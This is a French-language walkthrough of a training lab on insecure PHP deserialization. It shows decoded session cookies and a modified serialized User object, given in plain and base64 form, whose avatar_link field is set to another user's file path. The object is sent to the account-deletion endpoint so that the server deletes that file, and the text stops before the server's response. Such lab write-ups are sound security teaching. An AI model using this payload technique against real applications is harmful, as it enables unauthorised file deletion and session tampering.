Exploitation via les fonctionnalités de l’application

Using application functionality to exploit insecure deserialization

Lab: Using application functionality to exploit insecure deserialization | Web Security AcademyWebSecAcademy

Ce laboratoire utilise un mécanisme de session basé sur la sérialisation. Une fonctionnalité de l’application invoque une méthode dangereuse à partir de données contenues dans un objet sérialisé contrôlable par l’utilisateur.

Modifier l’objet sérialisé présent dans le cookie de session afin de provoquer la suppression du fichier morale.txt situé dans le répertoire personnel de Carlos.

Comptes disponibles

• Compte utilisateur principal : wiener:peter

• Compte de secours : gregg:rosebud

Analyse des cookies de session

Après authentification, la session est stockée dans un cookie contenant un objet PHP sérialisé de type User.

Cookie de wiener (après décodage) :

O:4:"User":3:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"ftqcpwp5pletd4pz6qoblbohxt2by9zk";s:11:"avatar_link";s:19:"users/wiener/avatar";}

Cookie de gregg (après décodage) :

O:4:"User":3:{s:8:"username";s:5:"gregg";s:12:"access_token";s:32:"xwtc1qpfy2h62e8xeokonwug6zpf6fxq";s:11:"avatar_link";s:18:"users/gregg/avatar";}

On observe que la propriété avatar_link est utilisée par l’application lors de certaines actions.

Fonctionnalité exploitable

Lorsque l’utilisateur clique sur Delete account, une requête est envoyée vers :

/my-account/delete

Cette fonctionnalité traite la valeur de avatar_link et déclenche une opération sur le fichier pointé par ce champ, sans validation suffisante.

O:4:"User":3:{s:8:"username";s:5:"gregg";s:12:"access_token";s:32:"xwtc1qpfy2h62e8xeokonwug6zpf6fxq";s:11:"avatar_link";s:23:"/home/carlos/morale.txt";}

Exploitation

L’idée consiste à remplacer la valeur de avatar_link par un chemin arbitraire menant au fichier à supprimer.

Objet sérialisé modifié :

Tzo0OiJVc2VyIjozOntzOjg6InVzZXJuYW1lIjtzOjU6ImdyZWdnIjtzOjEyOiJhY2Nlc3NfdG9rZW4iO3M6MzI6Inh3dGMxcXBmeTJoNjJlOHhlb2tvbnd1ZzZ6cGY2ZnhxIjtzOjExOiJhdmF0YXJfbGluayI7czoyMzoiL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO30=

Après l’envoi de la requête vers /my-account/delete, le serveur répond :